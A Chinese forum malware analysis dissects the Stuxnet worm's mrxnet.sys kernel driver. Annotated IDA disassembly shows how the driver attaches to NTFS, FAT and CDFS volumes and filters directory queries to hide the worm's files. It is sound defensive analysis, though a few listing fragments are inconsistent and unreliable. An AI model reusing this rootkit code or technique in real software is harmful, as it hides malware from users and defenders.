Stuxnet 蠕虫驱动分析

【分析人】： ganjie

【看雪 ID】： gjden

【QQ】： 853919025

【日期】： 2010-11-4

【公司】： 保密

【职位】： 保密

.....

.....

一. Stuxnet 蠕虫(超级工厂病毒)简单说明

能够利用对 windows 系统和西门子 SIMATIC WinCC 系统的 7 个漏洞进行攻击,被称为是新时代网络战争开始的标志,也有人宣称是"政府发动的网路战争、带有圣经讯息、最高机密等",呵呵,有点雷人!

windows 下最主要的传播途径是攻击快捷方式自动执行漏洞(MS10-046), WindowsServer 服务的远程溢出漏洞(MS08-067)以及打印后台程序服务中的远程代码执行漏洞(MS10-061)。

病毒成功攻击了伊朗核电站,造成伊朗核电站推迟发电.由于能够对西门子公司的 SIMATIC WinCC 监控与数据采集(SCADA) 系统进行攻击,因此也能攻击我国的钢铁、电力、能源、化工等重要行业,

Stuxnet 超级工厂病毒最早由赛门铁克在 2010 年 7 月 15 日截获,迟迟没有公布.直到 2010-09-25，才进入中国.我是在近两个月前才收到的,当时只需要简单分析用户态的部分样本,因此没有对驱动进行分析.后来闲着没事时,就分析了驱动部分.不过,此病毒在用户态实现的功能才能算是极其强大.

二.Stuxnet 蠕虫(超级工厂病毒)驱动(mrxnet.sys)分析

从 Stuxnet 蠕虫病毒样本中提取出了两个驱动文件,mrxnet.sys,mrxcls.sys,其中驱动 mrxnet.sys 在蠕虫通过 u 盘驱动器传播时被用来隐藏特定文件,这个驱动是一个文件系统过滤驱动,支持三种文件系统 ntfs,fastfat 和 cdfs 文件系统.驱动文件 mrxcls.sys 则被用于向用户空间中注入代码,被注入的模块被放在一个配置文件中,这应该就是最初让卡巴斯基头痛的"父进程注入"技术,轻松地绕过了卡巴.

这里单就只分析驱动 mrxnet.sys.

入口处开始分析:

```
.text:00010726 ; NTSTATUS __stdcall Init(PDRIVER_OBJECT DriverObject, PIRP irp)
.text:00010726 Init            proc near               ; CODE XREF: DriverEntry+39↓j
.text:00010726
.text:00010726 DriverObject    = dword ptr  8
.text:00010726
.text:00010726                 mov     edi, edi
.text:00010728                 push    ebp
.text:00010729                 mov     ebp, esp
.text:0001072B                 mov     eax, [ebp+DriverObject]
.text:0001072E                 push    esi
.text:0001072F                 push    offset Glab_DeviceObject ; DeviceObject
.text:00010734                 push    0               ; Exclusive
.text:00010736                 push    100h            ; DeviceCharacteristics
.text:0001073B                 push    8               ; DeviceType
.text:0001073D                 push    0               ; DeviceName
.text:0001073F                 push    8               ; DeviceExtensionSize
.text:00010741                 push    eax             ; DriverObject
.text:00010742                 mov     Glob_DriverObject, eax
.text:00010747                 call    ds:IoCreateDevice
.text:0001074D                 mov     esi, eax
.text:0001074F                 test    esi, esi
.text:00010751                 jl      short loc_10785
.text:00010753                 mov     eax, Glab_DeviceObject
.text:00010758                 push    0
.text:0001075A                 push    dword ptr [eax+28h] ; DeviceObject->Vpb
.text:0001075D                 call    InitDeviceExtension
.text:00010762                 push    38h
.text:00010764                 pop     eax
.text:00010765
```

```
.text:00010765 loc_10765:                              ; CODE XREF: Init+54↓j
.text:00010765                 mov     ecx, Glob_DriverObject
.text:0001076B                 mov     dword ptr [eax+ecx], offset DispatchRoutine_pass
.text:00010772                 add     eax, 4
.text:00010775                 cmp     eax, 0E4h
.text:0001077A                 jle     short loc_10765
.text:0001077C                 mov     eax, Glob_DriverObject
.text:00010781                 mov     dword ptr [eax+6Ch], offset FileSystemControlRoutine ; IRP_MJ_FILE_SYSTEM_
.text:00010788                 mov     eax, Glob_DriverObject
.text:0001078D                 mov     dword ptr [eax+68h], offset DirControlRoutine ; IRP_MJ_DIRECTORY_CONTROL
.text:00010794                 call    FillFastIO
.text:00010799                 call    AttatchTargetDrivers
.text:0001079E                 push    offset IryIoAttachDevice
.text:000107A3                 push    Glob_DriverObject
.text:000107A9                 call    ds:IoRegisterFsRegistrationChange ; register file system changing
.text:000107AF                 mov     esi, eax
.text:000107B1                 test    esi, esi
.text:000107B3                 jge     short loc_107D2
.text:000107B5
.text:000107B5 loc_107B5:                              ; CODE XREF: Init+28↑j
.text:000107B5                 mov     eax, Glab_DeviceObject
.text:000107BA                 test    eax, eax
.text:000107BC                 jz      short loc_107C5
.text:000107BE                 push    eax             ; DeviceObject
.text:000107BF                 call    ds:IoDeleteDevice
.text:000107C5
.text:000107C5 loc_107C5:                              ; CODE XREF: Init+96↑j
.text:000107C5                 mov     eax, Glob_DriverObject
.text:000107CA                 and     dword ptr [eax+28h], 0
.text:000107CE                 mov     eax, esi
.text:000107D0                 jmp     short loc_107D4
.text:000107D2 ; ---------------------------------------------------------------------------
.text:000107D2
.text:000107D2 loc_107D2:                              ; CODE XREF: Init+8D↑j
.text:000107D2                 xor     eax, eax
.text:000107D4
.text:000107D4 loc_107D4:                              ; CODE XREF: Init+AA↑j
.text:000107D4                 pop     esi
.text:000107D5                 pop     ebp
.text:000107D6                 retn    8
.text:000107D6 Init            endp
```

1.此驱动首先创建一个设备类型为 FILE_DEVICE_DISK_FILE_SYSTEM,设备特征为 FILE_DEVICE_SECURE_OPEN,

设备扩展为 8 字节的无名设备对象.这个驱动没有控制设备,因此不会跟用户态交换信息.

其中设备扩展的类似如下定义:

```
DeviceExtension
{
PDEVICE_OBJECT LowerDevice;
PDEVICE_OBJECT RealDevice;
}
```

其中 LowerDevice 为本驱动的下层驱动,RealDevice 为 VPB 中的 RealDevice 设备,其实也就是文件系统的卷设备.

2.接下来注册 MajorFunction:

IRP_MJ_FILE_SYSTEM_CONTROL

IRP_MJ_DIRECTORY_CONTROL

这两个派遣例程,这个驱动主要就处理这两例程,其他的用一个例程处理,其实是直接 pass 了,不做任何处理.

两个例程分别是 FileSystemControl,DirControl.是本驱动核心功能的实现,留到最后阐述.

3.接着就是填充 FastIoRoutines,驱动并没填充所有的 FastIoRoutines,这里填充了如下:

FastIoCheckIfPossible;

FastIoRead;

FastIoWrite;

FastIoQueryBasicInfo;

FastIoQueryStandardInfo;

FastIoLock;

FastIoUnlockSingle;

FastIoUnlockAll;

FastIoUnlockAllByKey;

FastIoDeviceControl;

FastIoDetachDevice;

FastIoQueryNetworkOpenInfo;

MdlRead;

MdlReadComplete;

PrepareMdlWrite;

MdlWriteComplete;

FastIoReadCompressed;

FastIoWriteCompressed;

MdlReadCompleteCompressed;

MdlWriteCompleteCompressed;

FastIoQueryOpen;

这些 FastIoRoutines 没有做什么实质性的工作,只是把简单判断一下,然后调用下层驱动.

4.然后就是 attach 到文件系统了,函数:AttatchTargetDrivers.

先获取通过 MmGetSystemRoutineAddress 动态获取 ObReferenceObjectByName 函数的地址,将其地址作为参数去获取文件的驱动对象,文件系统名为:

\\FileSystem\\ntfs

\\FileSystem\\fastfat

\\FileSystem\\cdfs

支持的文件系统有 ntfs,fastfat,cdfs.这三个文件系统名的地址被放在一个指针数组中,这个指针数组以后会被通过 ObReferenceObjectByName 获取的驱动对象覆盖;

这里有个循环,循环 3 次,分别去 attach 这三种文件系统.这个 attach 的函数是 GetTargetDriverAndAttach(),函数有两个参数,第一个参数是函数 ObReferenceObjectByName 的地址,第二个参数是文件系统文件名指针,这个参数即用来传入文件系统名地址,也用于获取所得的驱动对象指针.进入这个函数内部,函数先获取文件系统驱动对象,然后遍历驱动对象的每个设备对象进行 attach,attach 每个设备对象的函数是 TryToAttachDevice()

```
.text:000106BE AttatchTargetDrivers proc near          ; CODE XREF: Init+73↓p
.text:000106BE
.text:000106BE DestinationString= LSA_UNICODE_STRING ptr  24h
.text:000106BE var_1C          = dword ptr -1Ch
.text:000106BE ms_exc          = CPPEH_RECORD ptr -18h
.text:000106BE
.text:000106BE                 push    14h
.text:000106C0                 push    offset unk_11E38
.text:000106C5                 call    __SEH_prolog4
.text:000106CA                 and     [ebp+ms_exc.disabled], 0
.text:000106CE                 push    offset SourceString ; SourceString
.text:000106D3                 lea     eax, [ebp+DestinationString]
.text:000106D6                 push    eax             ; DestinationString
.text:000106D7                 call    ds:RtlInitUnicodeString
.text:000106DD                 lea     eax, [ebp+DestinationString]
.text:000106E0                 push    eax             ; SystemRoutineName
.text:000106E1                 call    ds:MmGetSystemRoutineAddress ; Get Address of ObReferenceObjectByName
.text:000106E7                 mov     esi, eax
.text:000106E9                 test    esi, esi
.text:000106EB                 jz      short loc_10713
.text:000106ED                 and     [ebp+var_1C], 0
.text:000106F1
.text:000106F1 loc_106F1:                              ; CODE XREF: AttatchTargetDrivers+4C↓j
.text:000106F1                 cmp     [ebp+var_1C], 3 ; loop:
.text:000106F5                 jge     short loc_10713
.text:000106F7                 mov     eax, [ebp+var_1C] ; object is a table saved target driver path
.text:000106FA                 push    FileSystemNameArray[eax*4] ; Object
.text:00010701                 push    esi             ; ObReferenceObjectByName
.text:00010702                 call    GetTargetDriverAndAttach
.text:00010707                 inc     [ebp+var_1C]
.text:0001070A                 jmp     short loc_106F1 ; loop:
.text:0001070C ; ---------------------------------------------------------------------------
.text:0001070C
.text:0001070C loc_1070C:                              ; DATA XREF: .rdata:00011E4C↓o

.text:0001070C ;
.text:0001070C
.text:0001070C loc_1070C:                              ; DATA XREF: .rdata:00011F4C↓o
.text:0001070C                 xor     eax, eax
.text:0001070E                 inc     eax
.text:0001070F                 retn
.text:00010710 ; ---------------------------------------------------------------------------
.text:00010710
.text:00010710 loc_10710:                              ; DATA XREF: .rdata:00011E50↓o
.text:00010710                 mov     esp, [ebp+ms_exc.old_esp]
.text:00010713
.text:00010713 loc_10713:                              ; CODE XREF: AttatchTargetDrivers+2D↑j
.text:00010713                                         ; AttatchTargetDrivers+37↑j
.text:00010713                 mov     [ebp+ms_exc.disabled], 0FFFFFFFFh
.text:00010717                 call    __SEH_epilog4
.text:0001071C                 retn
.text:0001071C AttatchTargetDrivers endp
```

i. 函数 TryToAttachDevice()

这个函数有两个参数,第一个是设备对象(既是文件系统的设备对象),第二个是 BOOLEAN 型(这里调用时传入的为 true),用于判定这个文件系统是被注册(激活),还是卸下.如是被注册,则调用函数 CreateFilterDeviceAndAttach()否则 Detach 本驱动在文件系统设备栈中的设备.

```
.text:000109EC ; void __stdcall TryToAttachDevice(PDEVICE_OBJECT FsDevice, char isFsRegister)
.text:000109EC TryToAttachDevice proc near             ; CODE XREF: GetTargetDriverAndAttach+50↑p
.text:000109EC                                         ; DATA XREF: Init:70↑o
.text:000109EC
.text:000109EC FsDevice        = dword ptr  8
.text:000109EC isFsRegister    = byte ptr  0Ch
.text:000109EC
.text:000109EC                 mov     edi, edi
.text:000109EE                 push    ebp
.text:000109EF                 mov     ebp, esp
.text:000109F1                 cmp     [ebp+isFsRegister], 0
.text:000109F5                 push    edi
.text:000109F6                 jz      short loc_10A02 ; unDetach
.text:000109F8                 mov     edi, [ebp+FsDevice]
.text:000109FB                 call    CreateFilterDeviceAndAttach
.text:00010A00                 jmp     short loc_10A31
.text:00010A02 ; ---------------------------------------------------------------------------
.text:00010A02
.text:00010A02 loc_10A02:                              ; CODE XREF: TryToAttachDevice+A↑j
.text:00010A02                 mov     eax, [ebp+FsDevice] ; unDetach
.text:00010A05                 push    esi
.text:00010A06                 mov     esi, [eax+10h]  ; Device->AttachedDevice
.text:00010A09                 mov     edi, eax
.text:00010A0B                 jmp     short loc_10A1C
.text:00010A0D ; ---------------------------------------------------------------------------
.text:00010A0D
.text:00010A0D loc_10A0D:                              ; CODE XREF: TryToAttachDevice+32↓j
.text:00010A0D                 push    esi
.text:00010A0E                 call    isDeiveOfMyDriver
.text:00010A13                 test    al, al
.text:00010A15                 jnz     short loc_10A22
.text:00010A17                 mov     edi, esi
.text:00010A19                 mov     esi, [esi+10h]

.text:00010A1C loc_10A1C:                              ; CODE XREF: TryToAttachDevice+1F↑j
.text:00010A1C                 test    esi, esi
.text:00010A1E                 jnz     short loc_10A0D
.text:00010A20                 jmp     short loc_10A30
.text:00010A22 ; ---------------------------------------------------------------------------
.text:00010A22
.text:00010A22 loc_10A22:                              ; CODE XREF: TryToAttachDevice+29↑j
.text:00010A22                 push    edi             ; TargetDevice
.text:00010A23                 call    ds:IoDetachDevice
.text:00010A29                 push    esi             ; DeviceObject
.text:00010A2A                 call    ds:IoDeleteDevice
.text:00010A30
.text:00010A30 loc_10A30:                              ; CODE XREF: TryToAttachDevice+34↑j
.text:00010A30                 pop     esi
.text:00010A31
.text:00010A31 loc_10A31:                              ; CODE XREF: TryToAttachDevice+14↑j
.text:00010A31                 pop     edi
.text:00010A32                 pop     ebp
.text:00010A33                 retn    8
.text:00010A33 TryToAttachDevice endp
```

ii. 函数 CreateFilterDeviceAndAttach()

CreateFilterDeviceAndAttach()这个设备有一个参数,参数为文件系统的设备.这个函数只 attach 设备类型为磁盘文件类设备,CD_ROM 文件类设备,网络文件类设备.

FILE_DEVICE_DISK_FILE_SYSTEM,

FILE_DEVICE_CD_ROM_FILE_SYSTEM

FILE_DEVICE_NETWORK_FILE_SYSTEM

先判断设备类型满足以上条件,如果这个文件系统设备还没有被 attach,则创建一个本驱动的设备 attach 到文

件系统设备栈中,Attach 是通过函数 AttachToFsDevie 来实现的,这个函数很简单,只是把 attach 设备后,把下层设备保存于设备扩展中.这样就完成了 attach 工作.

```
.Lexl:00010980 CreateFilterDeviceAndAttach proc near   ; CODE XREF: TryToAttachDevice+F↓p
.Lexl:00010980
.Lexl:00010980 FilterDevice    = dword ptr -4
.Lexl:00010980
.Lexl:00010980                 mov     edi, edi
.Lexl:00010982                 push    ebp
.Lexl:00010983                 mov     ebp, esp
.Lexl:00010985                 push    ecx
.Lexl:00010986                 mov     eax, [edi+2Ch]
.Lexl:00010989                 and     [ebp+FilterDevice], 0
.Lexl:0001098D                 cmp     eax, 8
.Lexl:00010990                 jz      short loc_1099C
.Lexl:00010992                 cmp     eax, 3
.Lexl:00010995                 jz      short loc_1099C
.Lexl:00010997                 cmp     eax, 14h
.Lexl:0001099A                 jnz     short locret_109E4
.Lexl:0001099C
.Lexl:0001099C loc_1099C:                              ; CODE XREF: CreateFilterDeviceAndAttach+10↑j
.Lexl:0001099C                                         ; CreateFilterDeviceAndAttach+15↑j
.Lexl:0001099C                 push    edi
.Lexl:0001099D                 call    IsAlreadyAttachedByMe
.Lexl:000109A2                 test    al, al
.Lexl:000109A4                 jnz     short locret_109E4
.Lexl:000109A6                 lea     eax, [ebp+FilterDevice]
.text:000109A9                 push    eax             ; DeviceObject
.text:000109AA                 push    edi             ; int
.text:000109AB                 call    CreateFilterDevice
.text:000109B0                 test    eax, eax
.text:000109B2                 jl      short locret_109E4
.text:000109B4                 push    esi
.text:000109B5                 push    edi
.text:000109B6                 push    [ebp+FilterDevice]
.text:000109B9                 call    setFilterDeviceByFs
.text:000109BE                 mov     eax, [ebp+FilterDevice]
.text:000109C1                 mov     esi, [eax+28h]

.text:000109C4                 push    0
.text:000109C6                 push    esi
.text:000109C7                 call    InitDeviceExtension
.text:000109CC                 push    esi             ; int
.text:000109CD                 push    edi             ; TargetDevice
.text:000109CE                 push    [ebp+FilterDevice] ; SourceDevice
.text:000109D1                 call    AttachToFsDevie
.text:000109D6                 test    eax, eax
.text:000109D8                 pop     esi
.text:000109D9                 jge     short locret_109E4
.text:000109DB                 push    [ebp+FilterDevice] ; DeviceObject
.text:000109DF                 call    ds:IoDeleteDevice
.text:000109E4
.text:000109E4 locret_109E4:                           ; CODE XREF: CreateFilterDeviceAndAttach+10↑j
.text:000109E4                                         ; CreateFilterDeviceAndAttach+24↑j ...
.text:000109E4                 leave
.text:000109E5                 retn
.text:000109E5 CreateFilterDeviceAndAttach endp
```

5. 调用函数 IoRegisterFsRegistrationChange

注册文件系统变动回调例程.这个例程也就是 4 讲到的 TryToAttachDevice() 函数,用于完成对动态激活的文件系统进行 attach.

三. MajorFunction 处理

IRP_MJ_FILE_SYSTEM_CONTROL 和 IRP_MJ_DIRECTORY_CONTROL 的派遣例程处理,处理 IRP_MJ_FILE_SYSTEM_CONTROL 例程只处理 IRP_MN_MOUNT_VOLUME 类型的次功能码,处理 IRP_MJ_DIRECTORY_CONTROL 例程只处理 IRP_MN_QUERY_DIRECTORY 类型的次功能码.其他的直接 pass,不做处理.

IRP_MJ_FILE_SYSTEM_CONTROL 例程分析

i. FileSystemControlRoutine 例程

首先获取 MinorFunction,判断是否是 IRP_MN_MOUNT_VOLUME,是则调用 MnMountVolumeForFSC,否则 pass;

```
.text:00010496 ; void __cdecl FileSystemControlRoutine(PDEVICE_OBJECT device, PIRP Irp)
.text:00010496 FileSystemControlRoutine proc near      ; DATA XREF: Init+5B↓o
.text:00010496
.text:00010496 ms_exc          = CPPEH_RECORD ptr -18h
.text:00010496 device          = dword ptr  8
.text:00010496 Irp             = dword ptr  0Ch
.text:00010496
.text:00010496                 push    8
.text:00010498                 push    offset unk_11DD8
.text:0001049D                 call    __SEH_prolog4
.text:000104A2                 and     [ebp+ms_exc.disabled], 0
.text:000104A6                 mov     ecx, [ebp+Irp]
.text:000104A9                 mov     eax, [ecx+60h]
.text:000104AC                 push    ecx             ; Irp
.text:000104AD                 push    [ebp+device]    ; int
.text:000104B0                 cmp     byte ptr [eax+1], 1
.text:000104B4                 jnz     short loc_104C4
.text:000104B6                 call    MnMountVolumeForFSC
.text:000104BB
.text:000104BB loc_104BB:                              ; CODE XREF: FileSystemControlRoutine+33↓j
.text:000104DD                 mov     [ebp+ms_exc.disabled], 0FFFFFFFFh
.text:000104C2                 jmp     short loc_104DE
.text:000104C4 ; ---------------------------------------------------------------------------
.text:000104C4
.text:000104C4 loc_104C4:                              ; CODE XREF: FileSystemControlRoutine+1F↑j
.text:000104C4                 call    OtherRoutinePass
.text:000104C9                 jmp     short loc_104BB
.text:000104CB FileSystemControlRoutine endp
```

```
.text:00010942                  mov     eax, [eax+4]
.text:00010945                  push    dword ptr [eax+0Ch]
.text:00010948                  mov     eax, [ebp+DeviceObject]
.text:0001094B                  push    dword ptr [eax+28h]
.text:0001094E                  call    InitDeviceExtension
.text:00010953                  push    [ebp+DeviceObject]
.text:00010956                  call    CopyToNextStackAndSetCompleteRoutine
.text:0001095D                  test    al, al
.text:0001095D                  jnz     short loc_10966
.text:0001095F                  inc     byte ptr [ebx+20h]
.text:00010962                  add     dword ptr [ebx+60h], 24h
.text:00010966
.text:00010966 loc_10966:                               ; CODE XREF: MnMountVolumeForFSC+57↑j
.text:00010966                  mov     eax, [edi+28h]
.text:00010969                  mov     ecx, [eax]      ; DeviceObject
.text:0001096B                  mov     edx, ebx        ; Irp
.text:0001096D                  call    ds:IofCallDriver
.text:00010973                  pop     ebx
.text:00010974
.text:00010974 loc_10974:                               ; CODE XREF: MnMountVolumeForFSC+33↑j
.text:00010974                  pop     edi
.text:00010975                  pop     esi
.text:00010976                  leave
.text:00010977                  retn    8
```

ii. MnMountVolumeForFSC()

函数先创建了一个设备对象,然后初始化设备扩展,在设备扩展的第二成员里保存 VPB 中 realDevice.然后是自己实现了将当前设备的 Stack Location 拷贝到下层设备的 Stack Location 处,并且设置好完成例程,Context 和控制域.完成例程名为 CompleteRoutineForFSC.

```
.text:00010906 ; NTSTATUS __stdcall MnMountVolumeForFSC(PDEVICE_OBJECT device, PIRP Irp)
.text:00010906 MnMountVolumeForFSC proc near            ; CODE XREF: FileSystemControlRoutine+20↑p
.text:00010906
.text:00010906 DeviceObject    = dword ptr -4
.text:00010906 device          = dword ptr  8
.text:00010906 Irp             = dword ptr  0Ch
.text:00010906
.text:00010906                  mov     edi, edi
.text:00010908                  push    ebp
.text:00010909                  mov     ebp, esp
.text:0001090B                  push    ecx
.text:0001090C                  and     [ebp+DeviceObject], 0
.text:00010910                  push    esi
.text:00010911                  push    edi
.text:00010912                  mov     edi, [ebp+device]
.text:00010915                  lea     eax, [ebp+DeviceObject]
.text:00010918                  push    eax             ; DeviceObject
.text:00010919                  push    edi             ; int
.text:0001091A                  call    CreateFilterDevice
.text:0001091F                  mov     esi, eax
.text:00010921                  test    esi, esi
.text:00010923                  jge     short loc_1093B
.text:00010925                  mov     ecx, [ebp+Irp]  ; Irp
.text:00010928                  and     dword ptr [ecx+18h], 0
.text:0001092C                  xor     dl, dl          ; PriorityBoost
.text:0001092F                  mov     [ecx+18h], esi
.text:00010931                  call    ds:IofCompleteRequest
.text:00010937                  mov     eax, esi
.text:00010939                  jmp     short loc_10974
.text:0001093B ; ---------------------------------------------------------------------------
.text:0001093B
.text:0001093B loc_1093B:                               ; CODE XREF: MnMountVolumeForFSC+1D↑j
.text:0001093D                  push    ebx
.text:0001093E                  mov     ebx, [ebp+Irp]
.text:00010941                  mov     eax, [ebx+60h]
```

iii. 完成例程 CompleteRoutineForFSC.

完成例程的 context 参数传进来是我们创建的过滤设备对象,通过这个设备对象得到原先保存的 vpb->RealDevice,再根据这个设备得到 vpb 然后在获得 VPB->DeviceObject,这个设备则是文件系统的卷设备,为什么要这么做,因为在 mount 之前我们创建的设备的 VPB 可能在 mount 完成后就不同了,而完成后的 VPB 才是有效的.故这里先将文件系统的卷设备保存在设备扩展中,后在完成例程里重新获取.得到文件系统的卷设备对象后就可以进行 attach 了.attach 完成例程函数的主要工作也就算是完成了.

```
.text:00010820 ; void __stdcall CompleteRoutineForFSC(PDEVICE_OBJECT DeviceObject, PIRP irp, PDEVICE_OBJECT *Context)
.text:00010820 CompleteRoutineForFSC proc near         ; DATA XREF: CopyToNextStackAndSetCompleteRoutine+39↓o
.text:00010820
.text:00010820 ms_exc          = CPPEH_RECORD ptr -18h
.text:00010820 irp             = dword ptr  0Ch
.text:00010820 Context         = dword ptr  10h
.text:00010820
.text:00010820                 push    8
.text:00010822                 push    offset unk_11E58
.text:00010827                 call    __SEH_prolog4
.text:0001082C                 and     [ebp+ms_exc.disabled], 0
.text:00010830                 mov     ebx, [ebp+Context]
.text:00010833                 mov     esi, [ebx]
.text:00010835                 mov     eax, [esi+28h]
.text:00010838                 mov     eax, [eax+4]
.text:0001083B                 mov     eax, [eax+20h]
.text:0001083E                 mov     edi, [eax+8]
.text:00010841                 mov     eax, [ebp+irp]
.text:00010844                 cmp     dword ptr [eax+18h], 0
.text:00010848                 jl      short loc_10870
.text:0001084A                 push    edi
.text:0001084B                 call    IsAlreadyAttachedByMe
.text:00010850                 test    al, al
.text:00010852                 jnz     short loc_10870
.text:00010854                 push    edi
.text:00010855                 call    AttachToFsDeviceForce
.text:0001085A                 test    eax, eax
.text:0001085C                 jge     short loc_10881
.text:0001085E
.text:0001085E loc_1085E:                              ; CODE XREF: CompleteRoutineForFSC+2A↑j
.text:0001085E                                         ; CompleteRoutineForFSC+32↑j
.text:0001085E                 push    esi             ; DeviceObject
.text:0001085F                 call    ds:IoDeleteDevice
.text:00010865
.text:00010865 loc_10865:                              ; CODE XREF: CompleteRoutineForFSC+3C↑j
```

```
.text:00010881                 push    0               ; Tag
.text:00010883                 push    ebx             ; P
.text:00010884                 call    ds:ExFreePoolWithTag
.text:0001088A                 mov     [ebp+ms_exc.disabled], 0FFFFFFFEh
.text:00010891                 xor     eax, eax
.text:00010893                 jmp     short loc_108AA
.text:00010893 CompleteRoutineForFSC endp
```

IRP_MJ_DIRECTORY_CONTROL 例程分析

i. DirControlRoutine

其实重头戏在函数 DirControlRoutine 中,这个函数主要实现文件隐藏功能.只处理 IRP_MN_QUERY_DIRECTORY,判断后直接调用函数 MnQueryDirectory.

ii. MnQueryDirectory

这个函数先获取查询目录(文件)名,

如果文件名存在并且文件名长度 76,且文件名前 19 个字符全是'{'的话,就放过,否则复制当前栈道下层栈,并设置完成例程 IoCompleteRoutineForQueryDir,将 irp 直接下发,这里栈的 COPY 和完成例程的设置前面一样,是自己实现的.这里有点不解,为什么要设置这个例外呢.

```
.text:00010DC8 ; NTSTATUS __stdcall MnQueryDirectory(PDEVICE_OBJECT Device, PIRP Irp)
.text:00010DC8 MnQueryDirectory proc near              ; CODE XREF: DirControlRoutine+20↑p
.text:00010DC8
.text:00010DC8 Device          = dword ptr  8
.text:00010DC8 Irp             = dword ptr  0Ch
.text:00010DC8
.text:00010DC8                 mov     edi, edi
.text:00010DCA                 push    ebp
.text:00010DCB                 mov     ebp, esp
.text:00010DCD                 mov     edx, [ebp+Irp]  ; Irp
.text:00010DD0                 mov     eax, [edx+60h]
.text:00010DD3                 mov     ecx, [eax+18h]
.text:00010DD6                 test    dword ptr [ecx+2Ch], 400000h
.text:00010DDD                 push    esi
.text:00010DDE                 push    edi
.text:00010DDF                 jz      short loc_10DE5
.text:00010DE1                 test    ecx, ecx
.text:00010DE3                 jnz     short loc_10DEB
.text:00010DE5
.text:00010DE5 loc_10DE5:                              ; CODE XREF: MnQueryDirectory+17↑j
.text:00010DE5                 mov     esi, [eax+8]
.text:00010DE8                 test    esi, esi
.text:00010DEA                 jz      short loc_10E22
.text:00010DEC                 cmp     word ptr [esi], 4Ch
.text:00010DF0                 jnz     short loc_10E22
.text:00010DF2                 mov     esi, [esi+4]
.text:00010DF5                 push    ebx
.text:00010DF6                 push    13h
.text:00010DF8                 pop     ecx
.text:00010DF9                 xor     ebx, ebx
.text:00010DFB                 mov     edi, offset asc_11840 ; "{"
.text:00010E00                 repe cmpsd
.text:00010E02                 pop     ebx
.text:00010E03                 jnz     short loc_10E22
```

```
.text:00010E05                  mov     ecx, [eax+18h]
.text:00010E08
.text:00010E08 loc_10E08:                               ; CODE XREF: MnQueryDirectory+1B↑j
.text:00010E08                  and     dword ptr [eax+8], 0
.text:00010E0C                  test    ecx, ecx
.text:00010E0E                  jz      short loc_10E17
.text:00010E10                  or      dword ptr [ecx+2Ch], 400000h
.text:00010E17
.text:00010E17 loc_10E17:                               ; CODE XREF: MnQueryDirectory+46↑j
.text:00010E17                  push    edx             ; Irp
.text:00010E18                  push    [ebp+Device]    ; int
.text:00010E1B                  call    OtherRoutinePass
.text:00010E20                  jmp     short loc_10E5F
.text:00010E22 ; ---------------------------------------------------------------------------
.text:00010E22
.text:00010E22 loc_10E22:                               ; CODE XREF: MnQueryDirectory+22↑j
.text:00010E22                                          ; MnQueryDirectory+28↑j ...
.text:00010E22                  or      byte ptr [eax+3], 1
.text:00010E26                  mov     esi, [edx+60h]
.text:00010E29                  lea     eax, [esi-24h]
.text:00010E2C                  mov     edi, eax
.text:00010E2E                  push    7
.text:00010E30                  pop     ecx
.text:00010E31                  rep movsd
.text:00010E33                  mov     byte ptr [eax+3], 0
.text:00010E37                  mov     eax, [edx+60h]
.text:00010E3A                  and     dword ptr [eax-4], 0
.text:00010E3E                  sub     eax, 24h
.text:00010E41                  mov     dword ptr [eax+1Ch], offset IoCompleteRoutineForQueryDir
.text:00010E48                  mov     byte ptr [eax+3], 0E0h
.text:00010E4C                  mov     eax, [ebp+Device]
.text:00010E4F                  mov     eax, [eax+28h]
.text:00010E52                  mov     ecx, [eax]      ; DeviceObject
.text:00010E54                  call    ds:IofCallDriver
.text:00010E5A                  mov     eax, 103h
.text:00010E5F
.text:00010E5F loc_10E5F:                               ; CODE XREF: MnQueryDirectory+58↑j
.text:00010E5F                  pop     edi
.text:00010E60                  pop     esi
.text:00010E61                  pop     ebp
.text:00010E62                  retn    8
.text:00010E62 MnQueryDirectory endp
```

iii. 完成例程 IoCompleteRoutineForQueryDir

这个函数比较大,主要是做文件过滤隐藏的.先判断 IRP->IoStatus.Status 是否成功,如果不成功则释放相关资源并退出,然后就是获取一些文件相关的偏移,从函数 GetFileInforOffset 中获取 EndOfFile Offset,FileName Offset,FileNameLength Offset.因为这里会因为文件信息类 FileInformationClass 的不同而会有不同的偏移.

得到偏移后就可以这里涉及的文件信息类有

FileBothDirectoryInformation

FileDirectoryInformation

FileFullDirectoryInformation

FileIdBothDirectoryInformation

FileIdFullDirectoryInformation

FileNamesInformation

接着就是得到查询信息的缓冲,然后调用 **HideFile** 来隐藏文件.

```
.text:00010C2A IoCompleteRoutineForQueryDir proc near  ; DATA XREF: CallToNextDriver+68↓o
.text:00010C2A                                         ; MmQueryDirectory+79↓o
.text:00010C2A
.text:00010C2A EndOfFile       = dword ptr  24h
.text:00010C2A FileNameOffset  = dword ptr -20h
.text:00010C2A MyDevice        = dword ptr -1Ch
.text:00010C2A ms_exc          = CPPEH_RECORD ptr -18h
.text:00010C2A DeviceObject    = dword ptr  8
.text:00010C2A FileNameLength  = dword ptr  0Ch
.text:00010C2A context         = dword ptr  10h
.text:00010C2A
.text:00010C2A                 push    14h
.text:00010C2C                 push    offset unk_11F98
.text:00010C31                 call    __SEH_prolog4
.text:00010C36                 xor     esi, esi
.text:00010C38                 mov     [ebp+ms_exc.disabled], esi
.text:00010C3B                 mov     eax, [ebp+context]
.text:00010C3E                 mov     [ebp+MyDevice], eax
.text:00010C41                 mov     edi, [ebp+FileNameLength]
.text:00010C44                 cmp     [edi+10h], esi
.text:00010C47                 jge     short loc_10C60
.text:00010C49                 mov     esi, eax
.text:00010C4B
.text:00010C4B loc_10C4B:                              ; CODE XREF: IoCompleteRoutineForQueryDir+96↓j
.text:00010C4B                 mov     eax, edi
.text:00010C4D                 call    FreePool
.text:00010C52
.text:00010C52 loc_10C52:                              ; CODE XREF: IoCompleteRoutineForQueryDir+CA↓j
.text:00010C52                 mov     [ebp+ms_exc.disabled], 0FFFFFFFEh
.text:00010C59                 xor     eax, eax
.text:00010C5D                 jmp     loc_10D2A
.text:00010C60 ; ---------------------------------------------------------------------------
.text:00010C60
.text:00010C60 loc_10C60:                              ; CODE XREF: IoCompleteRoutineForQueryDir+10↑j
.text:00010C60                 mov     ebx, [edi+60h]
.text:00010C63                 lea     eax, [ebp+FileNameLength]

.text:00010C66                 push    eax
.text:00010C67                 lea     eax, [ebp+FileNameOffset]
.text:00010C6A                 push    eax
.text:00010C6B                 lea     eax, [ebp+EndOfFile]
.text:00010C6F                 push    eax
.text:00010C6F                 push    dword ptr [ebx+0Ch]
.text:00010C72                 call    GetFileInforOffset
.text:00010C77                 test    al, al
